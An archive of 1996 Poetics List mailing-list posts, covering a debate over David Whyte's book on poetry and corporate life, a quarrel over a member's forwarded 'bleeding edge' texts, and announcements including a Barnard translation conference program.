>"Yasmine", and to the subscribers of the Poetics List.
>
>If anyone wants to revel in a swamp of pubescent flames and fart jokes,
>check out the URL www.batmanforever.com. The posts there are more
>interesting experiments in appropriation and decontextualiztion (and
>strange abject wordplay) than the "Yasmine" texts Filch posted.
>
>Jay Schwartz

↑ Index

568. Joe Amato

query...

Fri 27 Sep 1996

---

hey folks: the other day i was handed a copy of david whyte's _the heart aroused: poetry and the preservation of the soul in corporate america_ (currency doubleday, 1994)... whyte is a poet born in england, with whose work i'm not at all familiar...

the book really threw me for a loop... whyte is well-intentioned, yeah, but you know what they say about good intentions... really whacked-out stuff, very new age-ish, but also saturated with a specific conflation of various poetics alongside a soul-saving apparatus of which i haven't seen the likes till now... you're

left at the end with an organizational philosophy that must allow (through attention to, as you might expect, the sciences of chaos, bateson's "ecology of mind," and such like) for the full conjunction of 'doing' with 'being' (the corporation---work---is doing, the soul is being, ETC.)... poetry becomes one way of interrogating BEING in all of its disorder, wildness, what have you... lots of quotes from poets (incl. whyte himself), a positive appraisal of dana gioia's "can poetry matter?"--- and so forth...

i know---sounds like you've heard it all before... but it's the mix that i find new, and, well, scary... REALLY...

an excerpt from near the end:

> *the organization that has made room for the soul learns slowly and painfully that clinging to premature and constricted identities restricts the flow of energy from outside the system it has created. constricted by monochromatic images of how things should be, people, talent, and money all have a hard time leaving and entering. a constricted identity puts too much focus on boundaries that tell us what is familiar and what is not. but a focus on the interior vastness of beingness itself creates a strong sense of self without having to delineate the barriers in advance. (297)*

naturally, poetry becomes one of the "great arts" that can "remind and embolden us to this end" (298)...

given my disposition, i'm predisposed to see whyte's book through foucault's critique of "soul" as a technology of power (w/associated anatomy, in _discipline and punish_---the body becomes the prisoner of the soul etc.)... but i'm wondering if any of you have come across the book and, if so, what you make of it...

joe

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569. **Robert Drake**
Re: the bleeding edge
Fri 27 Sep 1996

---

part of the objection to these posts seemed to be their lack of or ambigious context. ov course, we do have context for these email messages; the sender seems to be:

*a relative newcomer to this list *a person who uses an alias instead of his/her "real" name (interesting that several of us have assumed it is a "he") *someone who's previous posts have seemed to be (to me, at least) quarrelsome and condescending

& i'm reading this all--filche's original posts, and the responses to them--as an interesting example of how e-communities formulate themselves, "enforce"

their "norms" and deal with "transgressions" (and i'm saying that not at all to be critical of such processes).

<for what it's worth, i also found th posts to be abusive rubbish, for reasons already cited...>

but th fragments themselves reminds me of the recent translitics thread--ira lightman i think posted some interesting questions (which, interestingly, went mostly unanswered & marked the end of that thread) along th lines of homophonic translation as a problematic appropriation of an other's culture? the "Basque mis-translationslam" frm the new _underground forest_ highlighted the question fr me: multiple translitics (by charles bernstein, anselm hollo, lee ann brown, and kenneth koch, among others) of a basque poem fragment, but th original fragment goes unattributed... <i'm trying to work the word "colonialism" in here, but cant... there, i did it>

and finally, in contrast, i'm reminded of an earlier piece of email writing, the Two Solitudes project... & the contrast of it's careful (if pedestrian) contextualization. here's the introduction:

> *Date: Sat Oct 1 17:42:10 1994*
> *From: [redacted] (Carl Steadman)*
> *Subject: Two Solitudes, an e-mail romance*
> *To: [redacted]*
>
> *Thank you for subscribing to Two Solitudes, an e-mail romance.*
>
> *Over the next several weeks, you'll receive carbon copies of messages exchanged between two persons familiar with each other, as they send them. If their romance does come to an end, it is only because all things must come to their ends.*
>
> *Subscription problems and comments should be sent to <[redacted]>. Keep this address handy should you need to end your subscription or change your address. Currently, subscription adds and deletes are done by hand; please allow adequate time for your request to be processed. Also, your suggestions and criticisms are always welcome.*
>
> *Special thanks to Jim Miner, Matthias Neeracher, Scott Custer, and Melissa Pauna.*

what followed was about 2 months worth of messages; sometime 2 or 3 per day, sometimes skipping a day or two, ostensably sent between a 2 folks... some of it was daily chit-chat, some deeper soul-baring, and the sense was one was these folks only had contact via email... i thot the writing was evocative & playful, the personae of the "characters" clear & th messages rang "true" a email, w/ all it's

vagaries. the pacing was used effectively, too, & certaily played on the voyeuristic pleasure of eavesdropping, right up to the (predictable) ending of several messages from one of the characters bouncing as undeliverable. while pleny conventional in many ways, i thot it was one of the simpilist & more effective uses of the emedium as fiction i'd seen...

lbd

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570. **maria damon**
Re: the bleeding edge
Fri 27 Sep 1996

---

hi filch: i don't think there's much question about the inappropriateness of forwarding someone's phone #, which was meant for the eyes of one friend only, to an entire discussion group of strangers. instead of posturing about how "threatened" we all are to be the recipients of personal information that was not intended for us, why not simply apologize for your error and pursue the theoretical aspects of the matter in a different vein. trying to exonerate yourself with defensive abstractions such as "we are all thieves and none of us are [sic] honest about it" is evasive and gets you in deeper doodoo than what,in my reading, was previously simply a thoughtless impulse on your part. maria d

In message <v02130504ae713c2267ab@[198.147.97.99]> UB Poetics discussion group
writes:
> thanks for the kind words. i am not interested in appropriation. we are
> all thieves and none of us are honest about it. (myself included) but we
> all try desperately to maintain our context. why is that so important?
> for what i am interested in batmanforever is of no interest whatsoever.
> there is a design behind ever word you read there and its purpose is to be
> on that sight. the folks who designed the sight by keeping it up to this
> date to be the recipient of such "graffitti" are interested in much
> different things than me. your finding of the texts in question to be lame
> and degrading makes me think the bleeding edge texts are even more
> fascinating than i originally perceived. once again i ask why are you so
> threatened? thanks again for your help! filch
> >
> >Most subscribers to this list have a highly sophisticated
> >understanding/practice of language use/reception/production etc... So
> >I find it especially annoying to receive these lame and degrading
> >attempts at exploring appropriation from Filch. Condescending, both to
> >"Yasmine", and to the subscribers of the Poetics List.

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> >If anyone wants to revel in a swamp of pubescent flames and fart jokes,
> >check out the URL www.batmanforever.com. The posts there are more
> >interesting experiments in appropriation and decontextualiztion (and
> >strange abject wordplay) than the "Yasmine" texts Filch posted.
> >
> >Jay Schwartz

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571. **Michael Coffey**
Re: the bleeding edge -Reply
Fri 27 Sep 1996

---

dear filch:

why is it that you continue to characterize people's negative reactions to your postings as "threatened." i don't think anyone is threatened by these pieces at all; what's to fear, personally? Or are you saying that some aesthetics are threatened by being discomfited by what amounts to lamentations from another time and another place about which one can (and should do) nothing? The only notion being challenged here, i think, it that this list exists in order to facilitate conversation about poetry. Most people hold to that, are holding to that, and you should be getting the message that people aren't threatened, they are irritated; they aren't paranoid, they're real annoyed.

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572. **Charles Bernstein**
Barnard Translation Conference
Fri 27 Sep 1996

TENTH INTERNATIONAL CONFERENCE ON TRANSLATION

November 15-16, 1996

BARNARD COLLEGE, COLUMBIA UNIVERSITY

"Centering Marginality"
This conference is dedicated to the memory of
LeRoy C. Breunig and Andre Lefevere

TRANSLATION: to move from one place to another. Within a contemporary ideological framework that same term might be used to define possible moves from the margins to the center and thus put into question the concept of mobility and apply it to a whole range of experiences starting with our naming certain languages "exotic" or tracing the cross-poetics of U.S. and French avantegardes.

In such a move, on a metaphorical level, feminism's rapport with experimentation would also be included as well as anthropology's self-scrutiny or, in the final analysis, suggesting new approaches to the translation of a poetic text itself.

FRIDAY NOVEMBER 15 (Locations and general information at end.)
SESSION 1 Translation Workshops 1:00-4:00 pm
Arabic: Nayra Atiya (Translator)
Catalan: Rosa Flotats (Facultat de Traduccio i Interpretacio d' Osana, Barcelona, Spain)
Chinese: Julie Landau (Translator)
French: Professors Peter Connor and Anne Boyman (Barnard)
German: Professor Erk Grim (Barnard)
Hebrew: Ruth Raphaeli (Columbia)
Hungarian: Judith Sollosy (Translator)
Italian: Professors Antonella Ansani and Daniela Noe (Barnard)
Japanese: Carl Sesar (Poet/Translator)
Persian: Zagra Partovi (Translator)
Russian: Professor Catherine Nepomnyashchy (Barnard)
Spanish: Agueda Rayo, Flora Schiminovich (Barnard) and Lydia Hunt, professor, Monterey Institute of International Studies
Swedish: Verne a Moberg (Columbia)
Welsh: Professor Margaret Charlotte Ward (Translator and professor, Department of English, Universidad de Puerto Rico)
Wolof: Fallou Gueye (New York University)

SESSION II Translating "Exotic" Languages 4:15-5:30 pm Chair: Professor Joseph Malone, Linguistic Program, Barnard Rosa Flotats, professor and translator, "Translating Milton into Catalan" Margaret Charlotte Ward, professor and translator. "Welsh Poetry/Poetics" Fallou Gueye, Wolof Instructor, NYU. "The Untranslatable..."

SESSION III Lecture by Gildersleeve Visiting Professor 5:45-7:00 pm McIntosh Center
JULIA KRISTEVA, novelist, literary critic, psychoanalyst, professor at the Univ. Paris VII;
Gildersleeve Visiting Professor - "Translating Feelings or Writing and Singularity"
Introduction: Elizabeth Dalton, chair and professor of English, Barnard

RECEPTION 7:30-8:30 pm Altschul Atrium

SESSION IV A Bilingual Poetry Reading 8:45-10:00 pm McIntosh Center
MAZISIS KUNENE, major Zulu epic poet, reading his own works in Zulu and English translations with musical accompaniment

SATURDAY NOVEMBER 16 SESSION V Viewing the Eye: Anthropology and Translation. 9:30-11:00 am Chairs: Professor Paula Rubel and Abraham Rosman, Anthropology Department, Barnard William O. Beeman, Professor of Anthropology, Brown University Michael Silverstein, Professor of Anthropology, University Chicago Michael Herzfeld, Professor of Anthropology, Harvard University

SESSION VI Poetry Reading 11:15 am-12:30 pm
Josee Lapeyrere Rosmarie Waldrop Rachel Blau DuPlessis
Charles Bernstein Anne Lauterbach Kathleen Frazer

LUNCH 12:45-1:45 pm

GREETINGS from Judith Shapiro, President of Barnard College, 2:00 pm

SESSION VII America's Feminism and the Poetics of the Avant-Garde. 2:15-3:30pm Chair: Rachel Blau DuPlessis, poet, critic and Professor of English, Temple Univ. Kathleen Frazer, poet, critic, and editor and publisher of HOW(ever), 1983-1991, Professor of Creative Writng, San Francisco State University, 1972-1992 Susan Rubin Suleiman, critic and professor of Romance Languages and Comparative Literatures, Harvard University Cecilia Vicuna, poet and artist Rosmarie Waldrop, poet, writer and translator; editor/founder of Burning Deck Press

SESSION VIII French and American Views: Pound and Mallarme 3:45-5:00 pm
Chair: Charles Bernstein, poet, critic and David Gray Chair of English Literature, SUNY-Buffalo
Yves di Manno, poet, translator and essayist; director of the collection "Poesie" at Flammarion publishers
Pierre Joris, poet, translator and professor of English, SUNY-Albany
Norma Cole, poet, translator and artist
Serge Gavronsky, poet, translator, and professor and chair of French, Barnard

SESSION IX Translation: Exclusion? Inclusion? 5:15-6:30 pm
Chair: Maryse Conde, novelist, critic and professor of French and Romance Philology, Columbia University
Antonio Benitez-Rojo, novelist and Thomas B. Walton, Jr., Memorial Professor of Romance Languages, Amherst College
James Maraniss, translator and professor, Department of Romance Languages, Amherst College
Richard Philcox, translator
Annie Saumont, writer and translator

RECEPTION 6:45-8:00 pm

SESSION X Trans/Translation: Holderlin in English 8:15-9:15 pm
Chair: Serge Gavronsky

Robert Kelly, poet, translator, critic and professor, English Department, Bard College
Schuldt, poet translator and artist

SESSION XI Bilingual Poetry Reading 9:30-11:00 pm Norma Cole
Pierre Joris Julie Landau Yves di Mano Bernard Noel
Zahara Partovi Carl Sesar Margaret Charlotte Ward

GENERAL INFORMATION

The first Barnard International Conference on Translation was held on October 20, 1983. Among the distinguished participants was Andre Lefevere, to whom this conference is partially dedicated. He was that great and wise specialist of the interconnection between culture and that complex act of translation which mirrors taste, politics an da historical period's definitions of what is allowed and what is not. The Tenth Barnard International Conference continues this tradition of questioning translating at both its literal and metaphorical levels. The conference is chaired by Professor Serge Gavronsky, chair of the Department of French at Barnard College.

LOCATION

All conference sessions will be held in Barnard Hall and McIntosh Center.

REGISTRATION

Enrollment is limited and will be conducted on a first-come, first-served basis. Registration forms should be in by Friday, November 8th. Walk-in registration will take place on Friday, November 15th, and Saturday, November 16th, in the lobby of Barnard Hall, located just inside the Barnard gates at Broadway and 117th Street. No confirmation of your registration will be sent. Your cancelled check will serve as your receipt and registration acknowledgement.

LUNCH

On Saturday, November 16th, a box lunch will be provided for conference participants attending the Translation Workshops. The cost of the lunch is $8.50. Hot and cold beverages will be provided. A list of local restaurants will also be provided in your registration packet. Please indicate on the registration form if you wish to order lunch.

FEE

The fee for the two-day conference is $55 with a special rate of $15 for students. The one-day fee for Friday is $20; for Saturday it is $35. There is also a special one-day rate of $10 for students. The conference fee includes refreshments, but does not include lunch. The cost of the box lunch is $8.50.

CANCELLATION

For individuals who pre-register, cancellations will be accepted until November 11th. The balance will be refunded, less a $5 penalty fee. Individuals wishing to cancel after November 11th will forfeit the entire conference fee.

QUESTIONS

- If you have questions regarding registration, hotel accommodations, or any special needs,
call Jean McCurry, Conference Coordinator, Office of Summer Programs, at [redacted] or fax [redacted].
- Although there is no parking available at the College, information on parking in the vicinity is available upon request.
- Barnard College is wheelchair accessible.
- For further information regarding the content of the conference contact: Professor Serge Gavronsky, Dept. of French, Barnard College, 3009 Broadway, New York, NY 10027-6598 [redacted].

ACKNOWLEDGEMENTS

This conference is made possible by a generous grant from Barnard College, the LeRoy C. Breunig Fund, the Cultural Services of the French Embassy, and the Virginia C. Gildersleeve Visiting Professor Fund, a gift from the Associate Alumnae of Barnard College.

PROGRAM IS SUBJECT TO CHANGE.

REGISTRATION FORM

TENTH INTERNATIONAL CONFERENCE ON TRANSLATION
"CENTERING MARGINALITY"
BARNARD COLLEGE, COLUMBIA UNIVERSITY
NOVEMBER 15-16, 1996

REGISTRATION FORM
Please note: this is converted from a print document! No e-mail address is given. Do not reply to the Poetics List or the sender!

Please register me for the following:__ Two-day Registration ($55; $15 for students) $_____ __ Friday, November 15th ($20; $10 for students) $_____ __ Saturday, November 16th ($35; $10 for students) $_____ __ Box Lunch on Saturday, November 16th. Remember to include $8.50 for lunch.Enclosed is a check for $_____ made payable to BARNARD COLLEGE.Please send information regarding: __ Travel __ Hotels __ ParkingMail (to be received on or before November 8, 1996) to:Jean McCurry, Conference Coordinator, Office of Summer Programs, Barnard College, 3009 Broadway, New York, NY 10027-6598. FAX [redacted].
Name_____

Address_____ City, State,Zip_____ Telephone (incl.area code)_____

Conference participants will need to prepare in advance for Friday's Translation Work-shops. If you plan to attend, please request the texts you wish to receive in advance.__ Arabic __ Catalan __ Chinese __ French__ German __ Hebrew __ Hungarian __ Italian__ Japanese __ Persian __ Russian __ Spanish__ Swedish __ Welsh __ Wolof

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573. **Eliza McGrand- CVA Guest**

Re: the bleeding edge

Fri 27 Sep 1996

---

bravo for you -- clear, sensible, direct. at this point, i think filch is just a shallow, not very bright nuisance (his last post made NO sense at all) who is so narcisstic he is caught in an astoundingly flat world -- him and his self-dramas and self-importance. no one else. i'm planning on deleting his mail on this (and possibly anything else for a while) unread. and not dignifying his posturing foolishness with any further response.

blech.
e

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574. **maria damon**

Re: query...

Fri 27 Sep 1996

---

hey joe thanks for the hot tip, this is exactly the kind of thing i wanna know about. doubleday? not an academic press? hmmm that tells me something right thre. i'll got get a copy prontissimo.--md

In message <[redacted]> UB Poetics discussion
group writes:
> hey folks: the other day i was handed a copy of david whyte's _the heart
> aroused: poetry and the preservation of the soul in corporate america_
> (currency doubleday, 1994)... whyte is a poet born in england, with whose
> work i'm not at all familiar...
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> the book really threw me for a loop... whyte is well-intentioned, yeah, but
> you know what they say about good intentions... really whacked-out stuff,

> very new age-ish, but also saturated with a specific conflation of various
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> must allow (through attention to, as you might expect, the sciences of
> chaos, bateson's "ecology of mind," and such like) for the full conjunction
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> i know---sounds like you've heard it all before... but it's the mix that i
> find new, and, well, scary... REALLY...
>
> an excerpt from near the end:
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> >energy from outside the system it has created. constricted by monochro-
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> >leaving and entering. a constricted identity puts too much focus on
> >boundaries that tell us what is familiar and what is not. but a focus on
> the
> >interior vastness of beingness itself creates a strong sense of self without
> >having to delineate the barriers in advance. (297)
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> embolden us to this end" (298)...
>
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> anatomy, in _discipline and punish_---the body becomes the prisoner of the
> soul etc.)... but i'm wondering if any of you have come across the book
> and, if so, what you make of it...
>
> joe

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575. **David Kellogg**
Re: the bleeding edge
Fri 27 Sep 1996

> *bravo for you -- clear, sensible, direct. at this point, i think filch is just a shallow, not very bright nuisance (his last post made NO sense at all) who is so narcisstic he is caught in an astoundingly flat world -- him and his self-dramas and self-importance. no one else. i'm planning on deleting his mail on this (and possibly anything else for a while) unread. and not dignifying his posturing foolishness with any further response.*

This seems a worthwhile response. Filch obviously lives (at least on email) for attention; I'm surprised the word "flame-bait" hasn't come up (till now) to describe her/his posts.

Ignore the filch.

~~~
~~~

Durham, NC 27708 FAX [redacted]
http://www duke.edu/~kellogg/

There is no mantle
and it does not descend.
-- Thomas Kinsella

↑ Index

577. **Eliza McGrand- CVA Guest**
bleeding edge -- grovelling in embarrassment
Fri 27 Sep 1996

---

when responding to maria's last posting on this thread, i meant to mail only her. however my home interface is very clumsy and there are LOUD plasterers in the vacant apartment downstairs (complete with the most bizarre array of sounds i have ever heard) and i'm afraid i was distracted at a crucial moment and sent response to list, rather than to maria.

i would never wish to expose filch, or anyone, to that kind of dressing down in a public place (it would be a matter for private mail only) and i am VERY sorry not only to filch for embarrassing him this way, but to anyone who got stuck reading it.

i tried to cancel it when i realized what had happened, but evidently both my frantic cancel messages arrived too late.

sorry filch and list. sorry. sorry. (very red in the face) e

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578. **Joe Amato**
Re: query...
Fri 27 Sep 1996

---

david, it's not "self-improvement" per se that bugs me in whyte's text... it's in fact his appeal to the "soul" -- both at the individual and organizational levels -- as though such an appeal simply reinforces the "natural" capacities of the individual even as it calls forth the "natural" evolution of the organizational (which latter becomes akin to something like axelrod's (i think it was) "evolution of co-operation")... there's an all-too-human human history buried here of tactics/strategies of incorporation, largely through pseudo-incorporeal means (which mask corporeal ends... and ok, i'm not esp. religious)... so poetry is talked about w/o all of its attendant material trappings... nevermind publishing networks and such like, but even the explicit materiality of language practices has to be sidestepped some to get into the spirit of such things...

and once this happens, it's only a short step to corporate transcendance of one sort or another... perfect feedback loop: the corporation cooperates with individual soul-searching, and individual soul-searching cooperates with the corporation... sure, it sounds so... nice, like it'll all just happen if we're all... cooperative!... we'll all become chummy little ecocritters who believe that our coporate logos really do add up to Logos...

i think meaningful work (individual or organizational) is tougher to come by than whyte suggests (and his book is real short on the how's, except as he allows for first-hand experience), simply b/c there are those material realities out there... hell, poetic self-identity may or may not be a function of soul, however articulated... and at least it's been the case in my experience that organizational improvement always seems to be a matter of finding new ways to buck the system -- useful monkeywrenches...

anyway, thanx for posting!...

best,

joe

↑ Index

579. Christina Fairbank Chirot
and they became what they beheld. . .
Fri 27 Sep 1996

filch posted a note which pushed a lot of buttons as a defense he sent a note about pushing buttons on the computer filch posted a note saying a forwarded message was an artifact filch recieved a note mentioning museums as a context for artifacts filch posted a note about a musuem . . .

↑ Index

580. the brown bag process
San Francisco Fine Arts Museum
Fri 27 Sep 1996

FYI

WEB AND FINE ARTS MUSEUM GET UP CLOSE AND PERSONAL
http://www.famsf.org/~thinker

A big problem that museums and libraries share, of course, is lack of physical space to show their holdings. Archival space for storing the goodies is doable, but not primo display space (museums can often show only 3 to 5% of their treasures). But on September 30, one museum group, the Fine Arts Museum of San Francisco, is going to try to do something about this problem.

Following the Loma Prieta earthquake of 1989, the Legion of Honor, which is located in San Francisco's Lincoln Park, embarked on a huge collections-management project to take stock of its entire collection.

The conservators took inventory, bar-coded each work of art, linked the records to a database, photographed, and then digitized each piece of artwork. Serious work, indeed.

And the result of all this work is The Museum's cool new Web site, The Thinker, which goes live on September 30th.

With The Thinker, you'll be able to:

* Access all of FAMSF's artwork all of the time, not just the masterpieces * Enjoy art in a new way, at home or in the office, searching the database by personal interest * See works rarely shown or too fragile to display

And with The Thinker, FAMSF can create interest in the original works, bringing more people to the Museum as well as offer donors and artists unlimited space and assurance that the public will have continual access to the work, and that it won't spend the bulk of its life in storage.

↑ Index

581. Susan Schultz
jobs jobs jobs
Fri 27 Sep 1996

Just thought I'd let everyone know a few days in advance that the University of Hawai'i will be advertising this year in "poetry theory and criticism" (along with several other things). I hope some of you will be applying; please feel free to get in touch with me with any questions, though I'm on sabbatical and so don't have my finger on the departmental pulse, as it were.

all best, Susan

↑ Index

582. wait for light
Re: bleeding edge -- grovelling in embarrassment
Sat 28 Sep 1996

given that the topology of a discourse in this environment
is defined such that errant texts become a matter of course;
how does the discourse protect itself from
or adjust itself to these errant texts,
how does it qualify them for inclusion or exclusion,

on what basis is this qualification made
and does it differ in degree or kind?

Eliza McGrand said:

"when responding to maria's last posting on this thread, i meant to mail only her. however my home interface is very clumsy and there are LOUD plasterers in the vacant apartment downstairs (complete with the most bizarre array of sounds i have ever heard) and i'm afraid i was distracted at a crucial moment and sent response to list, rather than to maria.

i would never wish to expose filch, or anyone, to that kind of dressing down in a public place (it would be a matter for private mail only) and i am VERY sorry not only to filch for embarrassing him this way, but to anyone who got stuck reading it.

i tried to cancel it when i realized what had happened, but evidently both my frantic cancel messages arrived too late.

sorry filch and list. sorry. sorry. (very red in the face) e"

↑ Index

583. **Rachel Loden**
Re: query...
Sat 28 Sep 1996

Joe, I heard Whyte on _Fresh Air_ a couple of years ago (which I suppose speaks volumes about the sorry state of poetry coverage on that show--and radio in general). Apparently he holds retreats for corporate execs and reads them poetry, etc. I agree that the whole enterprise sounds a bit creepy, but considering the sort of dreck (and debasement of language) usually purveyed in such situations, these guys are probably lucky to be listening to a few Wallace Stevens poems.

Rachel

Joe Amato wrote:
>
> hey folks: the other day i was handed a copy of david whyte's _the heart
> aroused: poetry and the preservation of the soul in corporate america_
> (currency doubleday, 1994)... whyte is a poet born in england, with whose
> work i'm not at all familiar...
>
> the book really threw me for a loop... whyte is well-intentioned, yeah, but
> you know what they say about good intentions... really whacked-out stuff,
> very new age-ish, but also saturated with a specific conflation of various

> poetics alongside a soul-saving apparatus of which i haven't seen the likes
> till now... you're left at the end with an organizational philosophy that
> must allow (through attention to, as you might expect, the sciences of
> chaos, bateson's "ecology of mind," and such like) for the full conjunction
> of 'doing' with 'being' (the corporation---work---is doing, the soul is
> being, ETC.)... poetry becomes one way of interrogating BEING in all of its
> disorder, wildness, what have you... lots of quotes from poets (incl. whyte
> himself), a positive appraisal of dana gioia's "can poetry matter?"--- and
> so forth...
>
> i know---sounds like you've heard it all before... but it's the mix that i
> find new, and, well, scary... REALLY...
>
> an excerpt from near the end:
>
> >the organization that has made room for the soul learns slowly and painfully
> >that clinging to premature and constricted identities restricts the flow of
> >energy from outside the system it has created. constricted by monochro-
matic
> >images of how things should be, people, talent, and money all have a hard
time
> >leaving and entering. a constricted identity puts too much focus on
> >boundaries that tell us what is familiar and what is not. but a focus on the
> >interior vastness of beingness itself creates a strong sense of self without
> >having to delineate the barriers in advance. (297)
>
> naturally, poetry becomes one of the "great arts" that can "remind and
> embolden us to this end" (298)...
>
> given my disposition, i'm predisposed to see whyte's book through
> foucault's critique of "soul" as a technology of power (w/associated
> anatomy, in _discipline and punish_---the body becomes the prisoner of the
> soul etc.)... but i'm wondering if any of you have come across the book
> and, if so, what you make of it...
>
> joe

↑ Index

584. **Joe Amato**
Re: query...
Sat 28 Sep 1996

rachel, right---wallace stevens, a guy who knew how to balance the corporate with the poetic... i mean, i like stevens' work, even if i do at times hear insurance logic gurgling through... stevens shows up in whyte's book too...

i guess, on a more personal level, what creeps me out is that i know i've experienced some serious personal dislocations in having left industry (as an engineer) in order to pursue the poetry mantra... now i don't mean to naysay corporate endeavor across the board (why is it i get so cutesy talking about this stuff?), but at the same time i see real problems with the assumption that poetry's various anarchies may be used so blatantly to promote ideas of emergent order...

mebbe there's an unintended consequence in whyte's "pitch" that has something to do with how (certain?) various poetries may be read as arguing a status quo... on the other hand, i guess just about anything can be used to ill-effect...

best,

joe

↑ Index

585. **maria damon**
Re: query...
Sat 28 Sep 1996

joe rites:
> mebbe there's an unintended consequence in whyte's "pitch" that has
> something to do with how (certain?) various poetries may be read as arguing
> a status quo... on the other hand, i guess just about anything can be used
> to ill-effect...
>
i rite: one argument i tussle with constantly is the karlheinz stierle's contention that poetry is essentially "anti-discourse." i find this liberating, and at the same time, how can it be? the larger context of his article goes on to make the pt that the function of "anti-discourse" is apotropaic --it replenishes the status quo by introducing novelty, by being an outlet for anti-discursive impulses, etc --its a realm of pure subjectivity where the subject can, as it were, get its yayas out and then return to function all the better within the strictures of institutional discourse. thus its relevance and utility to the new anti-fordist, pro-"creativity" model of corporate

productivity.
maria d

↑ Index

586. **Steve Shoemaker**
technorationality
Sat 28 Sep 1996

I have only filch's testimony that he has received the sort of message described below. But if it *is* true, I'd like to register my perturbation. In the rather lengthy, if intermittent, time i've been participating here, the list has always been "unmoderated." That means people make their posts directly to the list and say pretty much whatever the hell they want to. When someone says something other listmembers deem inappropriate, then those members tell him or her so. This is what happened with the bleeding edge case, and in my opinion this is the way it should work.

It is, on the other hand, ridiculous to say that the bleeding edge posts simply took up too much disk space. There's a lot of junk posted here all the time taking up more space than those few forwards. Max Weber, as many of you are no doubt aware, once used a couple of big German words to make the distinction between "rationality of means" and "rationality of ends." He thought our modern technocratic society was far too enamored of the former, and I agree. We like to pose narrowly technical questions rather than large moral ones. Our political leaders like to ask questions like, "*Can* we drop an A-bomb on Hiroshima?" rather than "*Should* we?" If the "listmaster" (Charles?) wants to formulate and enforce a policy based on ethical grounds then that policy should be clearly stated and made "public" to the members of the list. The ethical content of the question at hand should not be disguised by recourse to a "technical" rationale.

If this isn't, in fact, what has happened, I bow down before the Listmaster and apologize to everyone for wasting valuable list space-time. Otherwise, it seems to me worth thinking about.

steve

filch wrote:

"The poster of these texts - AKA "not playing w/ a full deck", "boring", "flamebait", "shallow, not very bright nuisance", "posturing", "abusive", "quarrelsome and condescending", has been notified by the custodian of the Poetics List that the 14k of memory which the bleeding edge texts filled were an "overload" on the system and so for technical reasons it would be necessary to refrain from

"casually forwarding messages or otherwise writing messages with minor interest to the list as a whole."

↑ Index

587. **Simon Schuchat**
filch no, firbank yes
Sat 28 Sep 1996

---

considering the meaning of "filch" (petty theft, unannounced borrowing), the shifting handles and the faux-provocative messages, doesn't he seem rather an "unreliable" narrator? I mean, I'm as bourgeois as anyone else on this list, and I haven't been epater'd, so what's the point?

my question for the list, is Firbank's novel "The Flower Beneath the Foot" (aka "Prancing Nigger") socially progressive or not? And could Firbank's strategy in that novel be used today (not necessarily with the same ethnic and genre components) to any useful effect?

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588. **Tenney Nathanson**
post-fordist yayas
Sun 29 Sep 1996

>i rite: one argument i tussle with constantly is the karlheinz stierle's
>contention that poetry is essentially "anti-discourse." i find this
liberating,
>and at the same time, how can it be? the larger context of his article goes on
>to make the pt that the function of "anti-discourse" is apotropaic --it
>replenishes the status quo by introducing novelty, by being an outlet for
>anti-discursive impulses, etc --its a realm of pure subjectivity where the
>subject can, as it were, get its yayas out and then return to function all the
>better within the strictures of institutional discourse. thus its
relevance and
>utility to the new anti-fordist, pro-"creativity" model of corporate
>productivity.
>maria d

Maria--

citation? it'll make it blue Monday to read it, but I better

thanks,

Tenney

↑ Index

589. **Alan Sondheim**
for Tosh Berman and David Bowie
Sun 29 Sep 1996

---

a what b is c this d glassy-eyed e stare
f that g has h no i ontic j sense k in l its m nubby n head
o but p lulu q to r be s there
t or u find v a w lewd x mumu y better z read

slut, tis Liszt, massy guy's beware!
flat jazz goes sonic; hence wins Kit's stubby bed!
tut!, booboo's hew, see where
bores mind, shut rude mama's letter dead!

↑ Index

590. **maria damon**
Re: post-fordist yayas
Sun 29 Sep 1996

---

tenney n rites:
> Maria--
>
> citation? it'll make it blue Monday to read it, but I better
>
tenney: it was originally in german, i read it in french; it's "Identite du discours et transgression lyrique." poetique 32, novembre 1977. he actually talks about lyric --i guess maybe i'm misrepresentning it to call it "poetry"--md

↑ Index

591. **Joe Amato**
Re: query...
Sun 29 Sep 1996

---

maria, yeah, i'd love to have that citation too...

let's see if i've got this right: poetry (or poetic anti-discourse) serves basically as an outlet so that the subject is that much more willing to be normalized?... this would require a theory of the subject, anyway, or subjectification... i mean, why would poetry perform this function (primarily?) and not, say, sex?... i can see the appeal, as you say, to postfordist creativity corps, but what i don't see is the logic of the corporation here except insofar as poetry serves some sort of release function for nasty corporate motive...

what interesting about whyte's book, again, is that his theory of the organizational is steeped in discussions of chaos and such like... and because he aligns this with poetry, or with certain interpretations of certain poetries (coleridge's fascination with starlings, for example), the anti-discursive beingness of poetry (i'm recombining here) is positioned as a vital complement to the discursive of doing, as in fact directly appealing to those very same sciences of disorder and emergent order (i'll stop short on this latter here, but suffice to say he reads james gleick's book on chaos as definitive, when in fact ilya prigogine/isabelle stenger's book on same (_order out of chaos_) twists things in distinctively european directions which are considerably more formidable in terms of language and the like)... i mean to say that whyte's is not, as i read it, an oppositional or strategic relationship, one in which corporate motive is unwittingly accommodated by poetry's unorthodox gestures, but a relationship structured by the very nature of things... the only opposition whyte articulates is that of the *old* corporate (fordist) logic, which for whyte is giving way to the new as much out of necessity as anything else (which is why i see a natural-evolutionary gradient here too)...

i'm making this a bit less fuzzy than does whyte, so caveat emptor...

seems to me one of the problems this sort of thing poses IS esp. educational... i can recall being sent to motorola (along with the rest of my school's faculty) about four years back for quality-creativity-ethics-leadership (qcel) training (i narrated this episode hereabouts perhaps a year ago)... anyway, the 'creativity' aspect of said training reflects precisely the turn you suggest, and in fact mirrors some of the "creative" rhetorics i was exposed to when i worked in industry (and was sent through similar 'training')... and there is now a course on 'creativity' on my campus, along with another course on "innovation" (much easier word for corporate types to swallow), etc... i say this w/o wishing to denigrate any of my colleagues or their work, but i think it's fair to call attention to the perceived legitimacy of this category as an educational slot...

best,

joe

↑ Index

592. **wheeler**
Quick Query
Sun 29 Sep 1996

Sorry to ask all, but anyone handy this evening who can translate "la curandera"? Many thanks.

Susan Wheeler

↑ Index

593. **Tony Green**
Re: the bleeding edge
Sun 29 Sep 1996

Better late than never? -- my first posting (Friday) went by mistake only to Gabrielle Welford, instead of the list.

There is one feature of the "bleeding edge" affair that interests me. How, on e-mail, do you tell fact from fiction (or fict from faction)? -- after the "renga-novel" of Loden-Bowering-et-al . The lack of location and voice and visible body of participants makes it hard to know what is to be taken as "authentic". Irony is also sometimes hard to detect. A distasteful affair, perhaps, but it does raise some interesting questions about electronic "communication".

I thought the postings were "made up" -- Eliza evidently seems to have had no doubt about their factuality. Response to some extent depends on how they were taken. best

